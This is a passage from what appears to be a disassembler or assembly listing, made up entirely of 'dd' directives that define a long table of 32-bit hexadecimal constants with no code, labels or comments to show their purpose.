		dd 1E626657h, 60F882ADh, 77103C87h, 7DD39595h, 0E12FA811h
		dd 0EAEB70FAh, 57E949D4h, 0AD679CB4h, 0B7571AE9h, 62FE03C1h
		dd 76F57A53h, 0B469AF7h, 9469C803h, 6BEC270Bh, 1FB25536h
		dd 557A5A17h, 21B0992Bh, 57534711h, 8CA64B47h, 7FB30EA7h
		dd 5733DF61h, 1D9ABC6Ah, 0B1569CDBh, 15706AA4h,	3274A57Ch
		dd 4071123Ch, 8372A317h, 685DF54Ch, 0E145C14Ch,	5907AD38h
		dd 4EAD2572h, 79A50CEDh, 689DEA93h, 27C6FA25h, 7FDC56D5h
		dd 0C9DEEEE0h, 3EC3DC65h, 837430CAh, 24B67B8Eh,	470A5741h
		dd 0AA607ADDh, 0BB19C533h, 6B41F9DDh, 70797FBEh, 3D3A13ECh
		dd 0BB923113h, 6978AA55h, 687BAE15h, 366F5BE7h,	0D7E72B87h
		dd 0D57ABBDFh, 9E2E6E25h
		dd 0DE109CAFh, 0EE7ED415h, 3FD9D275h, 0FFAA2D55h, 25ED9550h
		dd 0C721CD25h, 0D4718993h, 564DCC51h, 9159AE66h, 2CFB27C5h
		dd 0C0F0E965h, 0ABDC21DBh, 0A2CE8AF9h, 8D2665F0h, 4E610C31h
		dd 7693B5F1h, 80E07450h, 0A0439A2Bh, 0C3F1FBA0h, 12EDAEFDh
		dd 0EB20D31Eh, 91E4AE23h, 0D32ACD68h, 0F396D410h, 34E05F03h
		dd 18CF9CA9h, 96A278E4h, 0CDFD499Fh, 0EF932FADh, 0A8824EF0h
		dd 262D9D92h, 99FD3333h, 499558Bh, 0C705335Ch, 2192F9C6h
		dd 64F39FBAh, 1999C0FCh, 97A38B4Eh, 62448253h, 671AD757h
		dd 25BEA462h, 9EFA3C5Ch, 87E0D1D7h, 62286F85h, 2607BAD1h
		dd 0FD769E18h, 7E2CE595h, 977EB1DFh, 6F2D7F53h,	4C10ADACh
		dd 9244DBAAh, 6CEE4613h, 36C18ACh, 67ADB0E6h, 0C577FB71h
		dd 0FF66D601h, 47F4AAAEh, 8F33D469h, 626C92EAh,	0E5D42D53h
		dd 5D59E967h, 0DCA7462h, 92DC3Fh, 0D6DA8981h, 0FCEDF48Dh
		dd 54AED73Ch, 9CFF5FBBh, 602AF123h, 0A451A3AAh,	33AB5577h
		dd 62D4895Ah, 129849E8h, 0CDC9D5E2h, 0C5D21F5Fh, 700F157Eh
		dd 698BDE79h, 51955274h, 6CBB96EAh, 129EA493h, 8D7BC3DAh
		dd 79842FA1h, 0E45E703Ch, 0C73EEEB1h, 25D63851h, 7EF066CBh
		dd 990D370Bh, 0DD6C5A54h, 9CCFCF9Ch, 6700A6A4h,	0E8767BA2h
		dd 8B4DC76Ch, 181EA66Fh, 339C24B7h, 375A725Fh, 0DDC9AEDCh
		dd 0D4BBD515h, 63CAAEC4h, 70799133h, 7D53C14Dh,	0D43910D6h
		dd 6B54F845h, 26345457h, 0ED46AB5Ah, 0F8AF4867h, 6E44B49Bh
		dd 2B764AABh, 394D1A4Bh, 0A78800Ch, 0DD93DA94h,	27D121F8h
		dd 0AB4AFD1Eh, 586C53FEh, 97DB134h, 0B76750FCh,	0B93C2329h
		dd 55ECDE5h, 79420B5Ch,	49D9B153h, 1F9D4C88h, 27D82369h
		dd 0BF5B65h, 0FBBB8A55h, 0C31DBE6Bh, 7F5AE0C0h,	0B51B1033h
		dd 0D763B7B5h, 3D2444EAh, 4253E8ABh, 792C499Ch,	0C738900Bh
		dd 0AB7CFD5Bh, 0D88AAA9Eh, 0DC05B83Eh, 49A80D4h, 57D22E56h
		dd 5DB8D995h, 26057CD1h, 0B4DA6D84h, 0CB856063h, 0B8E7F626h
		dd 30495A4Ah, 1EE1F76Ah, 93D912EEh, 4F95FEBh, 94CC5E26h
		dd 509EE8A0h, 2129F5CCh, 0E6233AF2h, 2AA58D1Ch,	0B8D97A30h
		dd 6975D86Dh, 0FF462B2Dh, 0FC9344F0h, 271704Ch,	57BB4E5Ah
		dd 0BA16D9F9h, 30E78B82h, 78C0B1BBh, 96D54565h,	2B9AFDA8h
		dd 863539Dh, 86837653h,	203F201h, 619F4589h, 4C9F0FC5h
		dd 66E87B76h, 9FC4417Eh, 6F77A685h, 9F9DB458h, 0C7CAC034h
		dd 0C83ECD89h, 6E7727E2h, 0BA8735C7h, 0E0216FB0h, 28BF5A6Ch
		dd 0F0B28730h, 0F2A59529h, 8CE877B3h, 66B762E0h, 0DF837775h
		dd 607FAD94h, 9699EE8Ch, 4F9136CAh, 0E8575C50h,	370F66EDh
		dd 0C5104D61h, 0ED48A32Fh, 5A84EA22h, 905B7EB7h, 0D6E5FC8Eh
		dd 32D4A7CFh, 737A9074h, 3BCC1FC1h, 751AFE97h, 2F75C5FAh
		dd 0E0F972BBh, 23F7CDDFh, 630962CAh, 7A9C51A4h,	0B9CDA3ACh
		dd 0AAD525D4h, 7AC21921h, 2D908734h, 0B076FF93h, 4A27DC62h
		dd 66BD776Fh, 318BDF5Dh, 5EEB3DA6h, 1146B054h, 0FFAA6C58h
		dd 704D704Ch, 89AA414Dh, 8A37BA0Ah, 0BFC169E1h,	85FA141Eh
		dd 0FA33F515h, 414BD7EEh, 434D0FC6h, 1E53AA94h,	4EB3EA7Ch
		dd 2DE0A373h, 2E3A0B77h, 2D96B25Ah, 83C55B34h, 0DBFCF98Fh
		dd 528C068Ah, 0B80DC5F9h, 58BFAE23h, 0D47A3D62h, 0E71D7B60h
		dd 485F9EAAh, 1C7C8F6Ch, 0E2ACEC38h, 0AE77CE22h, 5F835514h
		dd 0D61ACB3Ah, 0E6C9FECAh, 8AE8774Bh, 99C99973h, 0A37CB898h
		dd 92E89C7Eh, 26D7B0F8h, 0FDF9D32Bh, 0DAF18289h, 0C4A9D347h
		dd 0E29CA75Dh, 0A35B0B7Bh, 4EABEA85h, 0EED1DEA5h, 0E7D600E3h
		dd 0C149AEA9h, 53778834h, 53D49926h, 77FB5617h,	7D8EAE10h
		dd 0D893B845h, 2BB0C38Dh, 0F732CC37h, 0AE0E07CBh, 12D32AADh
		dd 4B599507h, 1C31CFD4h, 0A1345DC8h, 2472DF7Dh,	2BCB9F9Fh
		dd 606A47DDh, 8BA8A32h,	44D0E75Eh, 652BB236h, 5728C55Eh
		dd 96AC3C94h, 2FFACC39h, 0CC452212h, 0F117AF2Ah, 0F56F3C68h
		dd 566518C2h, 28F262CCh, 48C293FDh, 87602E6Ch, 6BA7D968h
		dd 5B3A989Fh, 0E97EE1FAh, 0DE8EBCDEh, 0BE244648h, 0E2CF68FDh
		dd 0D9B6CBFDh, 79DF2922h, 1F80424Eh, 97637666h,	0D81FC343h
		dd 0ADD01D22h, 4EDA5C6Bh, 4968DC70h, 0AD67BF39h, 0F03E7DFBh
		dd 981EBC4Bh, 2F9475FEh, 0BD7A3CD7h, 62307B8Ah,	62D6DC5Dh
		dd 0EE0ABBCFh, 70BA9EEBh, 5778BC7Bh, 0D4948B22h, 5B36768Eh
		dd 5B0BDDD5h, 0E4F724D3h, 38D945C7h, 0DA6BAB3Ah, 75101776h
		dd 2DFB5388h, 9D9D54EFh, 2447FC2Bh, 30AA8B4Fh, 129921C7h
		dd 8439A621h, 463AD199h, 0B8629A24h, 5F600DC0h,	0E77120C0h
		dd 6C6F66E0h, 82F23975h, 809807D1h, 81B9C57Ah, 0CABEE77Ah
		dd 0F5824FB2h, 0F0DD8F83h, 1A2FBB43h, 770E96FBh, 6267C27Ah
		dd 241BB39Eh, 6E5ACD25h, 0F7F4C6F1h, 9781385Eh,	351E40D2h
		dd 0CBD9FC6Fh, 4D6A45BDh, 0DB042C59h, 4DA8E789h, 5E5F69AFh
		dd 0EB829B9Fh, 0AF9A9FE3h, 0D98D62D8h, 69FDE349h, 0D9A38D7Ah
		dd 0C4EB5AF6h, 7F6F323Bh, 0DD10435Ah, 98860C11h, 3D19525h
		dd 0C4C3508Bh, 0ACAB2B14h, 65A2F03Fh, 0FA3BA88Dh, 8A9F1338h
		dd 2E2036D7h, 4E880FC7h, 1B934116h, 220A3E5Ah, 0C5EDB464h
		dd 3A8C3B29h, 0E3633541h, 3EB64712h, 3CBBF873h,	0E5F907B5h
		dd 44115264h, 3E5D59DAh, 46565138h, 1757B630h, 5BC193B5h
		dd 781695FAh, 0B7D04CEh, 6415E27Bh, 0CD71B62Ch,	0D887406Ah
		dd 6E51B03Eh, 19C65B6Fh, 84CE68BAh, 676A47CBh, 0FC4486E5h
		dd 0CC8DFB30h, 205617CAh, 0CF490869h, 0D95C502Bh, 4D608E84h
		dd 51340B6h, 7BBCE09h, 0C7175486h, 7DEF75C7h, 64869A6Bh
		dd 86070765h, 99CA1BC8h, 3483CDB4h, 723A9D49h, 4A75EE42h
		dd 6D14AED5h, 52568C54h, 475A28DEh, 7044A2DCh, 20D6BB33h
		dd 1DC1B676h, 7AEAC3CBh, 473A49CCh, 0FB0537E4h,	2E0FC880h
		dd 0E26962AFh, 5E9A43BAh, 72836554h, 3D8EDDB8h,	479F4F6Fh
		dd 0AB637323h, 0EACB00C7h, 0D1AEC588h, 0BF0AFCAFh, 0EF7545FCh
		dd 5BFB41A7h, 2A8316E0h, 0CDA7F4AAh, 2D9B2CBAh,	2AB442DFh
		dd 647EFBFBh, 1FB4F050h, 0A8C52F41h, 157DCFDCh,	0B05DDEB9h
		dd 0ECA5DAD4h, 0BC6956BAh, 442AFADDh, 5800E916h, 0EDCDF4F1h
		dd 36D36B9Bh, 80CCDFECh, 89BDEFC1h, 0CB88F90Fh,	0A3FBD354h
		dd 7C49F4EBh, 7ECD0819h, 11FE9F16h, 657F2FD7h, 603E8550h
		dd 8655CBA5h, 17355F65h, 6C77BFA7h, 0DD81DBC2h,	0CA3D2AE2h
		dd 0B3D46B66h, 0D44E0C23h, 8BF34619h, 1BCA05D1h, 40A4BE03h
		dd 0EF0574EAh, 7D8A5A91h, 7F43A257h, 0D456D0DCh, 0EC4056Bh
		dd 0F6D38CFh, 8043B40Dh, 0FBDA1A9Dh, 4334DDD6h,	478CD092h
		dd 0CD6D7B1Bh, 3551A312h, 0FE5C97A9h, 4F0148F6h, 8EBD5Ah
		dd 75FA6CB3h, 87452AF7h, 1F23D300h, 436A4E55h, 1FCF6CCCh
		dd 21526EB8h, 0B6E64A35h, 0BE2D4FAAh, 0E6EB860Bh, 2F109516h
		dd 3CBF99B4h, 0A18ABAE5h, 0E022DB0Bh, 9D34CC95h, 56EC6310h
		dd 2A37E846h, 0CA24C5Fh, 0FB35FE63h, 0B232FDF3h, 936F7A0Fh
		dd 0E2B456F3h, 79336887h, 0EEC0AB98h, 862577C7h, 1CEE8605h
		dd 38D73B62h, 0B21BCE7Fh, 0EF1EC945h, 0C04A146Ch, 6659D15Eh
		dd 1B74F9ACh, 0D9EB2C2Dh, 4013C5D5h, 7D43E21Ch,	0D68255B5h
		dd 97FED1AAh, 9ABB9319h, 0C69DBD2Bh, 0CA3BC6CDh, 1357CA69h
		dd 0A33DF55Bh, 0EBD3B47Ch, 0A87DFEAAh, 1B949B34h, 9CAEF3D4h
		dd 836804BFh, 0EC5E92B1h
		dd 0BBA5ED25h, 658A1A3Eh, 96838A60h, 64E1EA58h,	0FE7426FDh
		dd 0A032B32h, 3A4E56DBh, 1BEB5AFFh, 0BBEBDF31h,	78CCAFBh
		dd 0ECE5A6E6h, 700B628Ch, 0F3571754h, 48E10EFDh, 777B4669h
		dd 55AB4E54h, 0D78542E6h, 5A4E8083h, 1E0DAA9Dh,	5358A6B8h
		dd 5D6FD1A2h, 58C0DD4Bh, 10DC6225h, 36BB54EDh, 4E5C976Eh
		dd 0CF8A10F1h, 0C4C04EE0h, 6D134D9Dh, 0A80AE8F6h, 3C1A7E9Ah
		dd 6433B2B9h, 1DF9396Bh, 0E88AADD4h, 8DB3BAA2h,	251AEF64h
		dd 8C4DC06Eh, 0D4570F8Bh, 6085149Eh, 6A6C716Bh,	0F7A6F7C9h
		dd 0BDA2D290h, 58193A38h, 328A23AEh, 651A788Ah,	6CA257D6h
		dd 6AC9C906h, 252B82AEh, 4D9E07A0h, 0A4EEDAA8h,	368CE526h
		dd 636D7C2Ah, 0C14E8C4Ah, 63B357D3h, 1C874FABh,	2856A1BFh
		dd 21E2FADFh, 7A2D3252h, 0FB365D79h, 0B7071F3Ah, 2A65CD99h
		dd 0C356253Fh, 1EEE1385h, 5D10624Ah, 16C0CDBDh,	0D24D3E1h
		dd 94C5925h, 84F2406h, 0B67332CEh, 451FCA10h, 0A8B6F50Bh
		dd 0FDBAB9BEh, 3C655C4Bh, 5FD85C6Bh, 0DEE59F6Bh, 8D2BA198h
		dd 7FCB10Ah, 4C1E497Fh,	1F9816BDh, 0CA22620Ah, 0BE15EFD2h
		dd 8FAE1FC3h, 427C4C4Ch, 6CDF904Ah, 0E340581Fh,	53C283ABh
		dd 976EFDCBh, 0F6B7FD44h, 0FB6DCCB2h, 9836241Fh, 0AAB7A858h
		dd 6D0707D5h, 0E11E5635h, 655B9F08h, 91630B75h,	97AC3968h
		dd 5E5539B7h, 154FDB5Fh, 0FE76DD1h, 0ADE58DBEh,	45D6B84Ch
		dd 0B6DA24B1h, 613C54B9h, 0FFDC76BEh, 0E3B2CCF4h, 3B8BCF12h
		dd 8B0F24DEh, 0C4C11B34h, 0CA2F4D3Eh, 52BAFADDh, 46C68D8Fh
		dd 4BDF279Fh, 0AA25B508h, 3BA6DDE1h, 0C18367A2h, 0B3F5E872h
		dd 0E3162973h, 0A67C0617h, 0B2C359EFh, 0CA4E1F2Bh, 5E34DB9h
		dd 0BE9BC43Fh, 0F3CADB89h, 45DAA8A6h, 1F5AB189h, 0B4449067h
		dd 12B59F57h, 0F8C13352h, 0EF86F81Bh, 2FEF273Eh, 0E1F63F5Eh
		dd 0FAEFB161h, 2EE9F0BDh, 0EFBE2D14h, 0DFF5AE89h, 0AEB7078Fh
		dd 0DED06AC8h, 0BE78B3CFh, 0F76E2B91h, 0A2FCB2F0h, 5767BD3Ah
		dd 0BFC8C951h, 0E75502D6h, 683C895Ah, 0A764AD18h, 252D1BDCh
		dd 0DCE442B0h, 0AC47D6DDh, 5D8A0921h, 23C019F5h, 93E84BC7h
		dd 4BEEF17Bh, 0E0D25EA9h, 0FD52ECABh, 0F8903BDDh, 0B3CFB478h
		dd 0B0FCB902h, 0FAF179FAh, 0A5230FBBh, 0C8A6E2Eh, 201178E1h
		dd 4F7F1BB7h, 9AB9D9D5h, 25B50195h, 5FD6394Eh, 56F3CCA5h
		dd 0BCDCA124h, 0BB231AE2h, 8F8A548Ah, 0A2F624E7h, 0EB2FA72Eh
		dd 483F14FFh, 5E0DC499h, 78D5B328h, 0C7F2086Eh,	0F7F3315Eh
		dd 15D01F88h, 397898C4h, 4713CE58h, 1A94F0FBh, 1F8BA8E4h
		dd 0F67A9876h, 93D9C91h, 91D3C1Ch, 0A06F16BFh, 0F1995753h
		dd 2C30DF4Bh, 250A5D73h, 5C137396h, 0F2274D59h,	6321822Fh
		dd 452A62AFh, 0C565D9F1h, 20E185FBh, 812AA5A0h,	9608C978h
		dd 0A6BC4C68h, 7A2C15B7h, 44D91D13h, 534BE59Bh,	0DE9EC9D5h
		dd 52D0C035h, 434E5DB6h, 1E1CFA97h, 4AF2AD58h, 404A1A1Dh
		dd 3DF52BC9h, 66852B85h, 4C7DBCF8h, 942F563Dh, 83FE3A44h
		dd 27BE03E6h, 0B9BB2594h, 1A315BECh, 3930B6C1h,	0F0A0556Ch
		dd 480DD2A5h, 6DD9B810h, 0A9EF0240h, 0FC08A240h, 0B6C8CDBEh
		dd 925DA9FFh, 21842071h, 0AFB8EF4Ah, 71E08B82h,	9E53C70Fh
		dd 62AC5753h, 713643EAh, 0F4E69B28h, 931595EEh,	6D1EDE3Fh
		dd 1947D0EBh, 95CE39D2h, 20541A5h, 336C68D3h, 787CA2A9h
		dd 70D5512Bh, 0A1560EF6h, 1CAC145h, 109B2562h, 0AC6BD9B7h
		dd 7FEE2DF2h, 0D02210A8h, 0E2FB2AAh, 0FDC232FAh, 947EFBB5h
		dd 907BB23Eh, 0D93B43A2h, 0FD8B787Ch, 84EA8A11h, 85B7122Ch
		dd 0AEF1FDAFh, 0AD4C4E4Ah, 0F0954030h, 599461D8h, 67F3BD7Dh
		dd 141A3473h, 13069B36h, 58950733h, 262857D2h, 0B8B4F6B0h
		dd 16E55361h, 4B264FA2h, 89ADD385h, 8487AA88h, 943ABA08h
		dd 84AF1309h, 7E13E69Bh, 44A977C8h, 0B6A640AEh,	4C29DB7Eh
		dd 8FD273CCh, 238A93D1h, 88D61BE8h, 73FDDFF4h, 32A341B3h
		dd 0CDE17CD0h, 0CCEE68ECh, 7B97FB77h, 8B8ECAABh, 330F8976h
		dd 978D2F07h, 58F3C5FBh, 0F86BD16Ch, 0DBF5C8F9h, 566445C0h
		dd 66F77299h, 0B4268E4Ch, 0A90F88A2h, 380B3B00h, 5A24C4DBh
		dd 445AF144h, 5B1C1FB6h, 86A4078Eh, 9B03A83Ch, 0F582AFEDh
		dd 0F7B2F935h, 93502F1Eh, 19A26EBBh, 80930D32h,	31DCEDDAh
		dd 46AAEBFAh, 0DD797D7Dh, 265F8DDDh, 9901C737h,	29ACF053h
		dd 879B54A6h, 0E416EA1Fh, 9689CEDAh, 678E042Eh,	94278D62h
		dd 3607E9F0h, 0ABE3D8B6h, 1F4BD8D0h, 0DDC8D946h, 652F99BFh
		dd 0D5B52B4Bh, 8DF08B9Ch, 4EE2D978h, 35FB25F0h,	17E594C9h
		dd 78D6938Fh, 0BE3D15CBh, 9455C1A9h, 2A265C5Ch,	0EAF2ECA5h
		dd 0C57C3244h, 0C1B659A1h, 35058592h, 0A7F0A189h, 694759DAh
		dd 0E719A519h, 0C619AAA9h, 0E67D3E24h, 29DCCF6Ah, 468AF50Bh
		dd 0F0415C6Dh, 455CA768h, 3F3E551h, 8B319ED3h, 0FBB4D368h
		dd 4C0CCA70h, 0EEFB8B5Fh, 9E5B247Eh, 25A3ACCAh,	9333731Ah
		dd 27380967h, 8565BE4Bh, 79767BC2h, 9AE490F9h, 23F42AE9h
		dd 0DB8A56D1h, 58467FBBh, 0BC6E91A5h, 76D10946h, 1B7E3A69h
		dd 0C98DF92Fh, 32316CEAh, 0A06FEC6Eh, 0AEA2B2CFh, 468E4BBBh
		dd 236908D6h, 0F1AF4EFCh, 3D5A8065h, 3149CFCAh,	82E1B1BAh
		dd 0DF979960h, 0B0A82D13h, 380E411Ah, 0CCA1B75Ah, 3DC41F9Eh
		dd 3758E577h, 0B3BD8E65h, 784D0FADh, 0B5F557B4h, 0A55C23Bh
		dd 0EDF3FB38h, 0CEC76BB3h, 0E04EE005h, 0BCDFD9E0h, 14BA2FEEh
		dd 0D78C816Bh, 3081BFB3h, 0D34E297h, 156CC2BEh,	782A7646h
		dd 0F2C73650h, 7F525568h, 1534AE7Fh, 0ED6B85DCh, 460B6750h
		dd 1D2A2A54h, 0B30A2C0Fh, 0A0DD75C5h, 29ADAAACh, 81676DBBh
		dd 8D2AE49Dh, 59061A3Eh, 2548A860h, 0D6613E36h,	0F4F0FE8Ah
		dd 0F218F8FFh, 25F38FDh, 0B82ADF1Bh, 5630DDBAh,	8C9B7937h
		dd 0C841CA61h, 69734477h, 6E8F2359h, 0BBCC2947h, 7D566FFAh
		dd 0F1D40760h, 0DFD72D8Eh, 0E35C8F89h, 0C5473968h, 1BB1F553h
		dd 0C92ACCD2h, 8D2CDE94h, 0C1CBEABAh, 827BEE37h, 4254F236h
		dd 55A1C1E4h, 0F89B0CA5h, 7BEC7493h, 0AA5B3649h, 0D15D5587h
		dd 0F7630FCDh, 0AB9AB04Ch, 83721F8h, 7579B22Eh,	0A93507C0h
		dd 13A28D52h, 0A8515519h, 3B35898Ch, 0B8DB13B5h, 8A223F16h
		dd 0CD316BD6h, 7901BFD9h, 7E1FB874h, 0D289DFC0h, 0EBBE4A3Ch
		dd 6562605Bh, 9B438E63h, 0D51816F6h, 0D0FE26AFh, 0A5FDC539h
		dd 59EBF9E1h, 514E6E1h,	4AA43C3Fh, 3217AE2Fh, 6C124D8Fh
		dd 2AD694BDh, 0BD9691F4h, 0CDDD88A7h, 0B7469255h, 0B7387B26h
		dd 105F918Fh, 82C7BD5Fh, 0C84A8D58h, 4C44F32Bh,	51A86CAEh
		dd 0DFEB1305h, 6D5E6269h, 71ED8F35h, 674B45Ah, 958FC1A7h
		dd 7C896F95h, 0DF6F58CBh, 0D50BB1F2h, 4535862Fh, 0CCCBEF70h
		dd 57D9BCC2h, 0EC97F1C4h, 0EEA3AAA8h, 2FC31E38h, 0A42B6BB0h
		dd 235CBBD8h, 16249155h, 0CEF707AAh, 0F2642127h, 6C74DD12h
		dd 0C6F6567Dh, 0D182159Ah, 838EC41Bh, 0C5C9C21Fh, 9BE4581Ch
		dd 1248B826h, 0C562707Dh, 0F3681959h, 8B55D118h, 0F4D55FABh
		dd 0D0569C89h, 0E093693Eh, 71CE8D17h, 7F02E86Dh, 66A40344h
		dd 0FC646BDBh, 7FE2D28Bh, 0BD7C9A2Fh, 0A98706A0h, 3A9694D3h
		dd 5AF8685Bh, 0F67A368Dh, 9112AE52h, 9ACB2AC9h,	59165D84h
		dd 61617E5Dh, 0A6ADD957h, 65246B83h, 0DD9C4EB6h, 0E887B685h
		dd 7A460BE7h, 8933E024h
		dd 0CAB7349Ah, 0B7F7C54h, 29522F41h, 0F4C8E588h, 9A9F3FACh
		dd 0A115FBB3h, 33359236h, 0DC268EBh, 6785333Bh,	0D69318AAh
		dd 11F757B3h, 0ACECE16Dh, 6897C6F1h, 2A0EC79Eh,	0FF9D226Bh
		dd 0F1760F84h, 0CEE5F555h, 633A3A5Fh, 12983D71h, 0C7609F08h
		dd 0CF8485A6h, 0A009E8ABh, 54B548D7h, 49BB604Eh, 55F3C956h
		dd 54FCEDFBh, 57C12115h, 0BBBC1B0Eh, 0E2606B53h, 0CFFAD5D5h
		dd 0D8BEF12Fh, 9C8E7BEEh, 0E2FD7E04h, 6BC6416Dh, 0C229F830h
		dd 53D8D16Bh, 96F64D54h, 5D02F76Dh, 5A33C879h, 3CC534A8h
		dd 881AB72Bh, 0D09663BCh, 98C5B658h, 0D966E2BAh, 85338C29h
		dd 0CE383B8Ch, 535CFE54h, 4D234035h, 0A51F075Eh, 8E475112h
		dd 1F8C299Fh, 0A6E83476h, 0E0568A3Fh, 92BE9915h, 19BB877Ch
		dd 0ECCF6B15h, 2E654F81h, 93FA37B2h, 4406A2E1h,	0C7A1820Bh
		dd 3A4ECB03h, 0C94E9F8Dh, 3AC3C968h, 4DF8AEF0h,	0DF1AF2Dh
		dd 2550B3CEh, 50C71646h, 18E6F937h, 0ACC67E06h,	5B2D0ADEh
		dd 0BCA20C75h, 6CD6428Eh, 336D6170h, 0C4E1890Fh, 0AB18047Fh
		dd 0A99AB94Ch, 37746903h, 0DAD437AAh, 25A7EFE7h, 0E9B9A44Dh
		dd 0C581D9CEh, 65A6DACDh, 4C9B551Ch, 1525331h, 9B734F41h
		dd 19B587BEh, 0A7A0ACD1h, 30982F73h, 2FC4D870h,	5A8479C3h
		dd 0E7FD6216h, 0AA97C831h, 42E5FE76h, 0EE084872h, 88D30551h
		dd 90805137h, 0AC753770h, 0BD0CF387h, 154F4001h, 3D64989Ch
		dd 5D7BD05Dh, 58B3BAC1h, 0E3FBD50Ah, 4B27EA76h,	481A1468h
		dd 537DB956h, 28B5C990h, 722B2D7Eh, 0F994499Eh,	0DC3FB0CEh
		dd 0BCB1BE6Ah, 552075Ah, 0E6EB42D9h, 0E2EFCC88h, 0AD5AC2C1h
		dd 0E3AD2B1Bh, 0E9350F2Eh, 81CE2690h, 6A845ED1h, 88DF627Fh
		dd 4BF60142h, 68CD376Ah, 5EE3D387h, 0B159F9D7h,	0A47F6320h
		dd 0E97FDE49h, 7CCC7E3Bh, 3AFBB782h, 745F2912h,	4B32800Ah
		dd 51D5713Ch, 251AA11Ch, 6D13ACE4h, 8622D1D4h, 4A9F7C86h
		dd 2D53AEF3h, 9695E9AFh, 45591EA3h, 4DFFF221h, 45704460h
		dd 0D1BB5F55h, 0F3ADECEh, 54A0F14Eh, 0C1D41987h, 0EEE0EBD6h
		dd 0F8A1C649h, 0A1F8A497h, 0E9302C56h, 1B8B8C53h, 895AA53Bh
		dd 2729F5AEh, 6EBE2DB7h, 766143EEh, 308CA233h, 647DEDDBh
		dd 3E2857E5h, 0C958B2C8h, 9FE3DDEEh, 0D25B1FF5h, 71ECD751h
		dd 0AEF7D521h, 11AD82C8h, 0FAD886Dh, 8F97D0BEh,	811FDE6Dh
		dd 57647D51h, 32246EF8h, 53330A95h, 4DD8D60Ah, 7CC1677Ah
		dd 6E839CA1h, 7F45D2E6h, 6528C9A0h, 82D760C0h, 6072A18Dh
		dd 0E7E2B523h, 0C3F30940h, 66B22119h, 64F78EFDh, 0F5168B5Dh
		dd 0D8BD5AD4h, 5BE97F92h, 0C0FD5225h, 849513EAh, 92C1568Eh
		dd 4AFA5C3Bh, 6AC3C1F4h, 0AE6EB35Ch, 872AE579h,	97139FF1h
		dd 8E50D68Fh, 575E7DE8h, 4D7A24FFh, 8C17A58Eh, 2D3549FEh
		dd 0A3BEE0CFh, 978888AAh, 0DE88064Eh, 0AC4B7FC3h, 0FCFE7437h
		dd 9B5F1117h, 0D07153F1h, 813FEFDAh, 1C6495C6h,	0D5110065h
		dd 5F3DECB6h, 4B338D18h, 32A1F4B4h, 0F071B049h,	7E59924Ch
		dd 223C0B79h, 683A49FFh, 0CE22099h, 0BE1F03F9h,	9E43918Dh
		dd 2E6389AEh, 787F1F3h,	0FAA234A7h, 0F2E6085Bh,	0E9A32615h
		dd 0A988AD1Eh, 35B3EF7Dh, 4D085068h, 9B45D8BCh,	6EDE721Eh
		dd 5E929FFFh, 0C1057F14h, 2FB7CABBh, 549371ECh,	49C0BCA9h
		dd 548ABFF0h, 251A7313h, 62848EB6h, 6555F32Ch, 0B55C2586h
		dd 2FD7BAD3h, 7718F56Ch, 6F6552D6h, 7253E7E9h, 0B175738Dh
		dd 0ADD23E02h, 742A6B5Fh, 0D9220BC2h, 44DF99F4h, 4E4F3110h
		dd 0F3C16BDAh, 19CCEFAFh, 9D5CE3C5h, 87662A92h,	0F2F97Dh
		dd 0D1288E59h, 0BB8EDC7Ch, 6A34AF1Bh, 0AFD3C93Bh, 0E0F219F6h
		dd 135015E1h, 0F895E1B8h, 875A7A42h, 157284BCh,	3D46DDAAh
		dd 320FEECAh, 8B8FA6C7h, 32C87307h, 0C347E485h,	849542D2h
		dd 0DA0CB16Ah, 754507A6h, 28B97AA9h, 0D18F5308h, 4F806E86h
		dd 748F5371h, 3B74FB17h, 0D5D245B7h, 7EDC20D6h,	8163172Eh
		dd 0D5B90FC3h, 0BBCB8DC5h, 560BD312h, 8FAA25E8h, 0BB7EA065h
		dd 0FDEFD029h, 7850321Bh, 8AD2CFE0h, 0DBCD7B55h, 0C52AAE1h
		dd 76416414h, 0AC071345h, 3BA752C6h, 0E11B50AEh, 779B2801h
		dd 0D8F04695h, 0CDAB54CEh, 0A6523DBAh, 9C66A469h, 53AB335Bh
		dd 0EC88479Dh, 12FB2A0Ah, 13BFA43Fh, 0F2F1C4FCh, 7C34B69h
		dd 0D6F59E3Ch, 8EE381F7h, 0D3D61745h, 0E182E794h, 704C55DCh
		dd 3BA45688h, 0FD56C19h, 0D9287FDCh, 0C4DF9B30h, 17194C98h
		dd 15B43694h, 29D4C377h, 0F26BDEF3h, 0C7C6851Eh, 5998F9D3h
		dd 571552D3h, 496B6D03h, 0CBA2BEB4h, 0EB1CB9EEh, 7F575076h
		dd 68ADDEE1h, 410146C3h, 0FFECF078h, 314FCAC9h,	931C1A26h
		dd 0E3D77D1Fh, 84DE6CD6h, 9B26D795h, 0C08EF97Ah, 3979EE6Fh
		dd 0D4F17BE7h, 0F342AAEBh, 0E4E0218Dh, 59FD83D5h, 0B2A37797h
		dd 0AA86CB47h, 0D16EDD8h, 86DC2302h, 5CBA5CBBh,	4E1EFEC6h
		dd 9791E1E0h, 425ECEEh,	0B2EC7744h, 2F16EEA8h, 95E55B25h
		dd 4674E7C2h, 19A8C83Eh, 0B6EB1DCh, 0AE834E28h,	8F6991F5h
		dd 634901A9h, 975C45F2h, 0EEE5A5EAh, 0C4CA080Eh, 8817C91Eh
		dd 1B352D18h, 0A9195FC6h, 0DED30DA1h, 0B2A47F07h, 0A29AB3EEh
		dd 5DC49B16h, 7ABF05FEh, 0E223CB87h, 0DB909087h, 197E8AFDh
		dd 6901A89Fh, 0EE9AA3B3h, 8ACB46D1h, 38CC5D3Ah,	3C9A8B5Fh
		dd 182F9F1Fh, 0B4431573h, 0E5C9E9C5h, 1A52D1ECh, 0AB6F5B9h
		dd 3CABBCEBh, 8E2D0476h, 480B61B7h, 85F15CD6h, 6D99FCEAh
		dd 85A60460h, 42F23CAh,	0A5765758h, 5957CBCDh, 0FC2C942Bh
		dd 91708A18h, 0FCA4384Ah, 4F5C7701h, 5422AC1Dh,	3FE8712Bh
		dd 0A568361Dh, 2ED79616h, 0F6089BD1h, 0D6C785DCh, 0ECE6DFB3h
		dd 5520718Dh, 63D37F68h, 2962B47Bh, 65877A63h, 0BE8D4EAFh
		dd 0F08ABB86h, 0FCAF1657h, 0D62624B3h, 831519BAh, 49960768h
		dd 0A27B505Ch, 0B9EED98Ch, 3E4EB946h, 8D45175Ah, 88AED5D2h
		dd 83D05412h, 9FAF0791h, 5FC21B71h, 0A95C7C2Ch,	0E435D170h
		dd 14DC9741h, 0CEF06664h, 86355450h, 4A4D7871h,	6B31CB3Eh
		dd 0BD28E42Eh, 6311508Fh, 0F666542Eh, 498CE718h, 0FC0C58C4h
